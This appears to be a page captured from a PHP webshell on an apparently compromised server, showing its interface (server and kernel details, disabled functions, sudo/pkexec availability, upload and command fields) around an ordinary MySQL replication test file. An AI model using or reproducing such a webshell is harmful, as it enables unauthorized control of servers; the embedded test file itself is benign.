403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.208.52
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_err_ignoredtable.test
# Test for
# Bug#797: If a query is ignored on slave (replicate-ignore-table) the
#          slave still checks that it has the same error as on the master.
##########################################################################
# 2006-02-07 JBM Added error code 1022 for NDB Engine + ORDER BY
##########################################################################

--source include/not_group_replication_plugin.inc
--source include/master-slave.inc

--disable_query_log
CALL mtr.add_suppression(
            CONCAT("Unsafe statement written to the binary log ",
                   "using statement format since BINLOG_FORMAT = STATEMENT."));
--enable_query_log

--connection master
# Attention:
# The table t1 MUST use some non transactional storage engine in order to
# replay the scenario of Bug#797.
create table t1 (a int primary key) engine = myisam;
create table t4 (a int primary key);

# The insert statement which follows
# - fails with ER_DUP_KEY or ER_DUP_ENTRY
# - but must be copied to the binlog when using mixed or statement based
#   replication because the first row gets inserted into the table using
#   the non transactional storage engine.
--error ER_DUP_KEY, ER_DUP_ENTRY
insert into t1 values (1),(1);
# For debugging:
# Expect to see "insert into t1 values (1),(1)" in the output of
# --source include/show_binlog_events.inc
insert into t4 values (1),(2);
# as the t1 table is ignored on the slave, the slave should be able to sync
--source include/sync_slave_sql_with_master.inc
# check that the table has been ignored, because otherwise the test is nonsense
show tables like 't1';
show tables like 't4';
SELECT * FROM test.t4 ORDER BY a;
--connection master
drop table t1;
--source include/sync_slave_sql_with_master.inc

# Now test that even critical errors (connection killed) are ignored if the
# rules allow it. The "kill" idea was copied from rpl000001.test.

--connection master1
select get_lock('crash_lock%20C', 10);

--connection master
# Attention:
# t2 MUST use some non transactional storage engine in order to replay the
# intended scenario.
create table t2 (a int primary key) engine = myisam;
insert into t2 values(1),(2);
let $master_id= `select connection_id()`;
# The "if( a = 1, 10, get_lock ...." takes care that we have probably
# already processed the first row before the waiting for the lock starts.
send update t2 set a = a + if(a = 1, 10, get_lock('crash_lock%20C', 10));

--connection master1
# Wait until we can be sure that the execution of the update is in the phase
# where it waits for getting the user lock.
let $wait_condition= SELECT count(*) > 0 FROM information_schema.processlist
                     WHERE info LIKE 'update%' AND state = 'User lock';
--source include/wait_condition_or_abort.inc
--replace_result $master_id <master_id>
eval kill $master_id;
# Wait until it is safe to issue DROP TABLE without causing deadlock.
# let $wait_condition= SELECT count(*) = 0 FROM information_schema.processlist
#                      WHERE info LIKE 'update%' AND state = 'User lock';
let $wait_condition= SELECT count(*) = 0 FROM information_schema.processlist
                     WHERE id = $master_id;
--source include/wait_condition_or_abort.inc
# For debugging:
# Expect to see "update t2 set a = a + if(a = 1, ........."
# --source include/show_binlog_events.inc
drop table t2;
insert into t4 values (3),(4);
--connection master
# The get_lock function causes warning for unsafe statement in case of using
# binlog_format=statement.
--disable_warnings
--error 0,ER_QUERY_INTERRUPTED,2013
reap;
--enable_warnings
--connection master1
--source include/sync_slave_sql_with_master.inc
SELECT * FROM test.t4 ORDER BY a;

--connection master1
DROP TABLE test.t4;
--source include/sync_slave_sql_with_master.inc
# End of 4.1 tests
# Adding comment for force manual merge 5.0 -> wl1012. delete me if needed


--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit